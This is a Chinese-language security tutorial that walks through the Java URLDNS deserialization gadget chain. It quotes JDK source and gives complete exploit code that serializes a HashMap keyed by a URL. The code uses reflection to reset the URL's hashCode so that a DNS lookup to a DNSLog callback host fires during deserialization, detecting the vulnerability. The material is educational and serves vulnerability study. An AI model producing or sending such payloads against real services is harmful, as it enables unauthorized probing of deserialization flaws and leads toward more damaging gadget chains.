URLDNS链是Java安全中比较简单的一条利用链,无需使用任何第三方库,全依靠Java内置的一些类实现,但无法进行命令执行,只能实现对URl的访问探测(发起DNS请求),并且不限制Java版本,可以用于检测是否存在反序列化漏洞,理解好URLDNS链,那么接下来对CC链的学习就会简单许多
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
我们来到 HashMap.java
文件,查看HashMap类
的readObject方法
,代码如下
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node[] tab = (Node[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
我们看下该方法的最后一行代码
putVal(hash(key), key, value, false, false);
发现调用了对 key变量
调用了该类里里面的hash函数
,然后我们分析下key参数是怎么获得的
通过以下代码可以看出定义了一个K类型的key变量,然后对反序列化的输入流进行反序列化,并把反序列化出的键复制给key变量
K类型是代表键的泛型,其定义的数据可以是任何类型,但只能作为map中的键
K key = (K) s.readObject();
我们再看下 hash 函数是如何对key处理的,我们在HashMap类中找到hash函数代码如下
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
经分析,只要我们的key对象,也就是传入map的键不为空,就会执行h = key.hashCode()
,也就是执行key对象里的hashCode()方法
这里接上文,假设我们传入map中的key为URL对象,那么便调用URL类中的hashCode()方法,我们看下这个方法的代码
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
这里看到,只要 hashCode = -1
的话,那么便会执行handler.hashCode(this);
,我们去看下 hashcode 属性
是怎么定义的
private int hashCode = -1;
我们发现 hashcode
的初始值为 -1,也就是默认执行handler.hashCode(this);
,我们再去看看 handler 是怎么定义的,代表了什么,通过下面可得:handler属性代表了URLStreamHandler类的临时对象
transient URLStreamHandler handler;
//这个URL传输实现类是一个transient临时类型,不会被反序列化
经分析,也就是把这一整个URL对象作为参数,传入了URLStreamHandler类的hashCode方法
this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员
那我们去URLStreamHandler类
当中,查看下hashCode方法
的代码
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
我们看到 hashcode 方法
接收一个URL类型的参数,然后对接收的 URL对象,也就是前面的key执行InetAddress addr = getHostAddress(u);
,并会把求出的 hash值 返回给 URL对象中的hashCode属性(这里记住,下面有用到)
getHostAddress函数会对URL对象代表的链接进行DNS解析,获取其ip地址,我们使用 DNSLog 平台可以检测到该函数的访问
根据上面的链路分析,我们首先需要创建一个指向DNSLog平台链接的URL对象,然后作为键传入HashMap数组,最后将该数组进行序列化,然后反序列化调用其readObject方法,将URL对象赋值给key,然后使用hash方法处理URL对象,再调用URL对象的hashcode方法,然后以URL对象为参数,传入URLStreamHandler类的hashCode方法,对URL对象指向的链接进行访问
现在的exp大体如下
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://j0obud.dnslog.cn/");//这里替换为DNSLog平台分配的地址
map.put(url,"114");//键值用不到,随便设置
try {
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
然后运行代码,发现未经序列化与反序列化仍然能对url进行DNS解析
正是下面这一行代码导致了url的提前解析
map.put(url,"114");//键值用不到,随便设置
我们去看下map(HashMap类)的put方法,代码如下
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
我们发现,这个put方法
和readObject方法
触发的语句完全一样,同样会对URL对象执行HashMap类中的hash方法,然后就和上文所述的过程相同,最总到达hashCode方法,对URL对象解析
return putVal(hash(key), key, value, false, true);
下面是这两个方法的语句对比可以看到是一模一样的
需要注意的是假如提前触发的话,反序列化的时候便不会再进行DNS解析
我们再次回到URL类中的hashCode方法,并看一下其hashCode属性的定义
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
可以看到只有当 hashCode = -1
时,才会执行hashCode = handler.hashCode(this);
,从而到下一步DNS解析,然后 hashCode属性被赋值为这个URL解析的哈希值,从而为一个很长的正数,从而不为 -1,然后序列化的时候这个hashCode属性
值保持不变,当反序列化到hashCode方法时,以为 hashCode != -1
直接进入if
,执行return hashCode;
,最终到这里就断掉了,无法触发DNS解析
那怎么办呢?
我们可以先在put时,将 hashCode 值通过反射修改为任意一个不为 -1 的数字,从而不会提前触发DNS解析,然后在put完成后,我们再通过反射将 hashCode值设为 -1,示例如下
field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashCode(this);
通过反射我们可以动态修改一个对象中的属性和方法
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://mm4dhq.dnslog.cn/");//这里替换为DNSLog平台分配的地址
Class clas = url.getClass();
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此时触发dns请求
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
我们再次在put语句下面打断点,观察是否还会提前触发,可以看到DNSLog平台没有记录,代表put时由于hashCode值不为 -1 ,没有执行handler.hashCode(this)